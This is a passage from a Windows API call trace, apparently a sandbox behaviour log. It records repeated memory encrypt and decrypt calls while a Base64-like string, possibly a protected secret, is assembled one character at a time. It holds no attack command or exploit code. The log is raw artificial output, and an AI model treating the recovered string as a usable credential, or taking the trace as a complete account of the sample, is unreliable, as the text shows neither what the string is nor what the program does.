out: Memory=0x5c51c94) returned 0x0 [0244.557] SysStringLen (param_1="泻ᘍ葵푦ʄ裏") returned 0x8 [0244.557] SysStringLen (param_1="泻ᘍ葵푦ʄ裏") returned 0x8 [0244.557] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.558] SysStringLen (param_1="BjF3OG5") returned 0x8 [0244.558] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.558] SysStringLen (param_1="壬Ῠ樕ꍹ㢕⾀፭ﱒ") returned 0x8 [0244.558] SysStringLen (param_1="壬Ῠ樕ꍹ㢕⾀፭ﱒ") returned 0x8 [0244.558] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.558] SysStringLen (param_1="BjF3OG5p") returned 0x8 [0244.558] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0244.558] SysStringLen (param_1="い锨榉橹푮쉨妝㭠") returned 0x8 [0244.558] SysStringLen (param_1="い锨榉橹푮쉨妝㭠") returned 0x8 [0244.558] SysStringLen (param_1="い锨榉橹푮쉨妝㭠") returned 0x8 [0244.559] SysStringLen (param_1="い锨榉橹푮쉨妝㭠") returned 0x10 [0244.559] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.559] SysStringLen (param_1="BjF3OG5pc궽Ỡ킷征琗⫮") returned 0x10 [0244.559] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.559] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\鷘╘뚏앴瀻ᛶ∛) returned 0x10 [0244.559] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\鷘╘뚏앴瀻ᛶ∛) returned 0x10 [0244.559] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.560] SysStringLen (param_1="BjF3OG5pcgỠ킷征琗⫮") returned 0x10 [0244.560] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.560] SysStringLen (param_1="い锨榉橹푮쉨妝㭠ᵙሠދࡈ楚篆廎ᖖ") returned 0x10 [0244.560] SysStringLen (param_1="い锨榉橹푮쉨妝㭠ᵙሠދࡈ楚篆廎ᖖ") returned 0x10 [0244.560] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.560] SysStringLen (param_1="BjF3OG5pcgB킷征琗⫮") returned 0x10 [0244.560] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.560] SysStringLen (param_1="い锨榉橹푮쉨妝㭠藈䵭摬쌚炗䩐꫾") returned 0x10 [0244.560] SysStringLen (param_1="い锨榉橹푮쉨妝㭠藈䵭摬쌚炗䩐꫾") returned 0x10 [0244.560] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.560] SysStringLen (param_1="BjF3OG5pcgBM征琗⫮") returned 0x10 [0244.560] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.561] SysStringLen (param_1="い锨榉橹푮쉨妝㭠㙑퉞䍲챂쒿灠彌") returned 0x10 [0244.561] SysStringLen (param_1="い锨榉橹푮쉨妝㭠㙑퉞䍲챂쒿灠彌") returned 0x10 [0244.561] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.561] SysStringLen (param_1="BjF3OG5pcgBMv琗⫮") returned 0x10 [0244.561] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.561] SysStringLen (param_1="い锨榉橹푮쉨妝㭠ᅾᮤ蒅돲ᩍѰ") returned 0x10 [0244.561] SysStringLen (param_1="い锨榉橹푮쉨妝㭠ᅾᮤ蒅돲ᩍѰ") returned 0x10 [0244.561] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.561] SysStringLen (param_1="BjF3OG5pcgBMv2⫮") returned 0x10 [0244.561] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.561] SysStringLen (param_1="い锨榉橹푮쉨妝㭠੩Ћ籂ꆄ\탚◳≜) returned 0x10 [0244.562] SysStringLen (param_1="い锨榉橹푮쉨妝㭠੩Ћ籂ꆄ\탚◳≜) returned 0x10 [0244.562] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.562] SysStringLen (param_1="BjF3OG5pcgBMv2S") returned 0x10 [0244.562] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.562] SysStringLen (param_1="い锨榉橹푮쉨妝㭠ꟷ繾ᙶᙣ꯵憟៶琴") returned 0x10 [0244.562] SysStringLen (param_1="い锨榉橹푮쉨妝㭠ꟷ繾ᙶᙣ꯵憟៶琴") returned 0x10 [0244.562] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.562] SysStringLen (param_1="BjF3OG5pcgBMv2Sa") returned 0x10 [0244.562] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0244.562] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩⋼) returned 0x10 [0244.563] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩⋼) returned 0x10 [0244.563] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩⋼) returned 0x10 [0244.563] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩⋼) returned 0x18 [0244.563] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.563] SysStringLen (param_1="BjF3OG5pcgBMv2SaX拶⨣剝Ԕ׼媒ㅄ") returned 0x18 [0244.563] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.563] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩㧼렭᳝䴵敚축읨譾⊋) returned 0x18 [0244.563] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩㧼렭᳝䴵敚축읨譾⊋) returned 0x18 [0244.563] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.564] SysStringLen (param_1="BjF3OG5pcgBMv2SaXm⨣剝Ԕ׼媒ㅄ") returned 0x18 [0244.564] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.564] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩⇼鎃酴豿俴꿭㙼∽) returned 0x18 [0244.564] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩⇼鎃酴豿俴꿭㙼∽) returned 0x18 [0244.564] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.564] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmv剝Ԕ׼媒ㅄ") returned 0x18 [0244.564] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.564] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩跼태㊑劮絏뭧鏌襑∟) returned 0x18 [0244.564] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩跼태㊑劮絏뭧鏌襑∟) returned 0x18 [0244.564] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.564] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJԔ׼媒ㅄ") returned 0x18 [0244.564] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.565] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩퇼㚽䉀婔苤♇⼨ꕉ∐) returned 0x18 [0244.565] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩퇼㚽䉀婔苤♇⼨ꕉ∐) returned 0x18 [0244.565] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.565] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJw׼媒ㅄ") returned 0x18 [0244.565] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.565] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩⛼椑蓊﮵臹⭸⋽) returned 0x18 [0244.565] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩⛼椑蓊﮵臹⭸⋽) returned 0x18 [0244.565] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.565] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwH媒ㅄ") returned 0x18 [0244.565] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.565] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩滼욵㱶ǜ\㟚") returned 0x18 [0244.565] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩滼욵㱶ǜ\㟚") returned 0x18 [0244.565] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.566] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwHSㅄ") returned 0x18 [0244.566] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.566] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩痼ᘡⳎ⩽﹛ꃧရ≒) returned 0x18 [0244.566] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩痼ᘡⳎ⩽﹛ꃧရ≒) returned 0x18 [0244.566] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.566] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwHSz") returned 0x18 [0244.566] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0244.622] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练≘) returned 0x18 [0244.622] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练≘) returned 0x18 [0244.622] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练≘) returned 0x18 [0244.622] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练≘) returned 0x20 [0244.622] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.623] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwHSzD㢲㌃疳촍闚") returned 0x20 [0244.623] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.623] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练饘쌉ꞏ鏜ꐁ履쁑⊋) returned 0x20 [0244.623] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练饘쌉ꞏ鏜ꐁ履쁑⊋) returned 0x20 [0244.623] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.623] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwHSzDa㌃疳촍闚") returned 0x20 [0244.623] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.623] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练酘嗜넭萋ꃶ䰂⋗) returned 0x20 [0244.623] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练酘嗜넭萋ꃶ䰂⋗) returned 0x20 [0244.624] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.624] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwHSzDaO㌃疳촍闚") returned 0x20 [0244.624] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.624] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练쁘䄀蠻沿헠庱煀煹∗) returned 0x20 [0244.624] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练쁘䄀蠻沿헠庱煀煹∗) returned 0x20 [0244.624] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.624] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwHSzDaOo疳촍闚") returned 0x20 [0244.624] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.624] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练ቘ錼咶馻╬簲镙ꏰ∖) returned 0x20 [0244.625] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练ቘ錼咶馻╬簲镙ꏰ∖) returned 0x20 [0244.625] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.625] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwHSzDaOoT疳촍闚") returned 0x20 [0244.625] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.625] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练屘砀　㤀ഀ㟿鍭齩뀿뒆⋹) returned 0x20 [0244.625] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练屘砀　㤀ഀ㟿鍭齩뀿뒆⋹) returned 0x20 [0244.625] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.625] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwHSzDaOoTe촍闚") returned 0x20 [0244.625] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.626] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练٘䧠\ᣝ嬮䴇✧핚") returned 0x20 [0244.626] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练٘䧠\ᣝ嬮䴇✧핚") returned 0x20 [0244.626] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.626] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwHSzDaOoTen闚") returned 0x20 [0244.626] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.626] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练䭘㣋ᅦ\ꃟ뢌ᚴ궛") returned 0x20 [0244.626] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练䭘㣋ᅦ\ꃟ뢌ᚴ궛") returned 0x20 [0244.626] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.626] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwHSzDaOoTene") returned 0x20 [0244.626] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0244.626] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓⋜) returned 0x20 [0244.627] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓⋜) returned 0x20 [0244.627] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓⋜) returned 0x20 [0244.627] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓峜砀　㈀∀) returned 0x28 [0244.627] SystemFunction041 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.627] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwHSzDaOoTene7リ虂帨硋欩踁") returned 0x28 [0244.627] SystemFunction040 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.627] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓௜핁螱佄ꍈ휩㖕∷) returned 0x28 [0244.627] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓௜핁螱佄ꍈ휩㖕∷) returned 0x28 [0244.627] SystemFunction041 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.628] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwHSzDaOoTene7P虂帨硋欩踁") returned 0x28 [0244.628] SystemFunction040 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.628] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓૜ᤁꨯ酓ㆽฬ叀⇡⋋) returned 0x28 [0244.628] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓૜ᤁꨯ酓ㆽฬ叀⇡⋋) returned 0x28 [0244.628] SystemFunction041 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.628] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwHSzDaOoTene7P/帨硋欩踁") returned 0x28 [0244.628] SystemFunction040 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.628] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓훜邫Ḗ퀇ş韁骑맨⋪) returned 0x28 [0244.628] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓훜邫Ḗ퀇ş韁骑맨⋪) returned 0x28 [0244.628] SystemFunction041 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.628] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwHSzDaOoTene7P/f硋欩踁") returned 0x28 [0244.628] SystemFunction040 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.629] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓柜䂃◄ቁၫ᝽郧싍≾) returned 0x28 [0244.629] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓柜䂃◄ቁၫ᝽郧싍≾) returned 0x28 [0244.629] SystemFunction041 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.629] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwHSzDaOoTene7P/fj硋欩踁") returned 0x28 [0244.629] SystemFunction040 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.629] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓鮾䓝硱咯О⊞) returned 0x28 [0244.629] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓鮾䓝硱咯О⊞) returned 0x28 [0244.629] SystemFunction041 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.630] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwHSzDaOoTene7P/fjc欩踁") returned 0x28 [0244.630] SystemFunction040 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.630] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓೜빜㸝霝ꚍ폕⋊) returned 0x28 [0244.630] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓೜빜㸝霝ꚍ폕⋊) returned 0x28 [0244.630] SystemFunction041 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.630] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwHSzDaOoTene7P/fjc8踁") returned 0x28 [0244.630] SystemFunction040 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.630] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓鯜暟鞣༻ᅮ䀍锭≷) returned 0x28 [0244.630] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓鯜暟鞣༻ᅮ䀍锭≷) returned 0x28 [0244.630] SystemFunction041 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.630] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwHSzDaOoTene7P/fjc8P") returned 0x28 [0244.630] SystemFunction040 (in: Memory=0x5c9b59c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9b59c) returned 0x0 [0244.631] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓迩Ფ켐쓉唠≑) returned 0x28 [0244.631] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓迩Ფ켐쓉唠≑) returned 0x28 [0244.631] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓迩Ფ켐쓉唠≑) returned 0x28 [0244.631] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓迩Ფ켐쓉唠≑) returned 0x30 [0244.631] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0244.631] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwHSzDaOoTene7P/fjc8Pz顴麂ṁ鯳羰厷鱮") returned 0x30 [0244.632] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0244.632] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓迩Ფ켐쓉唠๑辩脤쎐ꜗ♶䠒┃∩) returned 0x30 [0244.632] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓迩Ფ켐쓉唠๑辩脤쎐ꜗ♶䠒┃∩) returned 0x30 [0244.632] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0244.632] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwHSzDaOoTene7P/fjc8PzQ麂ṁ鯳羰厷鱮") returned 0x30 [0244.632] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0244.632] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓迩Ფ켐쓉唠⭑⹅릣ᄥ䌨㱈萛⋭) returned 0x30 [0244.632] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓迩Ფ켐쓉唠⭑⹅릣ᄥ䌨㱈萛⋭) returned 0x30 [0244.632] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0244.632] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwHSzDaOoTene7P/fjc8PzQwṁ鯳羰厷鱮") returned 0x30 [0244.632] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0244.632] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓迩Ფ켐쓉唠깑絺⼘꾚枥柬⊾) returned 0x30 [0244.632] SysStringLen (param_1="い锨榉橹푮쉨妝㭠\揚䩚鍝ﯨ莎缩◼✡笀춚䎉챬练퉘符藫꩓迩Ფ켐쓉唠깑絺⼘꾚枥柬⊾) returned 0x30 [0244.632] SystemFunction041 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0244.633] SysStringLen (param_1="BjF3OG5pcgBMv2SaXmvJwHSzDaOoTene7P/fjc8PzQw=鯳羰厷鱮") returned 0x30 [0244.633] SystemFunction040 (in: Memory=0x5c9307c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c9307c) returned 0x0 [0244.633] EtwEventActivityIdControl () returned 0x0 [0244.633] EtwEventActivityIdControl () returned 0x0 [0244.633] EtwEventActivityIdControl () returned 0x0 [0244.633] GetEnvironmentVariableW (in: 